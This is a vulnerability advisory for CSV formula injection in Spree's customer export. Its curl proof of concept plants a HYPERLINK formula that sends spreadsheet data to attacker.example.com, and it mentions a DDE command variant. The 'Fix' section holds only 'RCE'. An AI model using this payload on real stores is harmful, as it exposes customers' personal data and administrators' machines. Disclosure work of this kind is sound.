PT-2026-49156 — Spree

PT-2026-49156 · Rubygems · Spree

Published

2026-06-04

Updated

2026-06-04

CVSS v4.0

5.2

Medium

Vector

AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).

Details

Affected presenters and fields

Presenter	Path	User-controlled fields
`CustomerPresenter`	`spree/core/app/presenters/spree/csv/customer presenter.rb:36`	`first name`, `last name`, `address1`, `address2`, `city`, `phone`

Vulnerable code — `customer presenter.rb` (representative example)

# spree/core/app/presenters/spree/csv/customer presenter.rb:36–53
def call
 csv = [
  customer.first name,     # ← written verbatim; may contain =HYPERLINK(...)
  customer.last name,      # ← user-controlled
  customer.email,       
  customer.accepts email marketing ? Spree.t(:say yes) : Spree.t(:say no),
  customer.address&.company,  # ← user-controlled
  customer.address&.address1,  # ← user-controlled
  customer.address&.address2,  # ← user-controlled
  customer.address&.city,    # ← user-controlled
  customer.address&.state text,
  customer.address&.state abbr,
  customer.address&.country&.name,
  customer.address&.country&.iso,
  customer.address&.zipcode,
  customer.phone,        # ← user-controlled
  customer.amount spent in(Spree::Store.current.default currency),
  customer.completed orders.count,
 ]
 csv += metafields for csv(customer)
 csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers 
 -H "Content-Type: application/json" 
 -H "X-Spree-Api-Key: pk <publishable api key>" 
 -d '{
  "email": "attacker@evil.com",
  "password": "password123",
  "password confirmation": "password123",
  "first name": "=HYPERLINK("http://attacker.example.com/exfil?d="&B1,"Click")",
  "last name": "Smith"
 }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports 
 -H "Authorization: Bearer <admin jwt>" 
 -H "Content-Type: application/json" 
 -d '{"type": "Spree::Exports::Customers", "record selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export id> 
 -H "Authorization: Bearer <admin jwt>"

# Download
curl https://store.example.com/api/v3/admin/exports/<export id>/download 
 -H "Authorization: Bearer <admin jwt>" 
 -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)

Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1 value>.
Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

Step	Actor	Action	Privilege required
1	Attacker	Registers as customer	Public registration
2	Attacker	Sets `first name` to formula payload	None beyond registration
3	Admin	Runs a routine weekly/monthly export	Normal operational task
4	Admin	Opens CSV in Excel	None
5	Attacker	Receives exfiltrated spreadsheet data	Passive

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

All exported customer emails, names, addresses, phone numbers
Order totals and purchase history
Any other columns in the same export file

Fix

RCE

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-1236

Related Identifiers

GHSA-XF4V-W5X5-PV79

Affected Products

Spree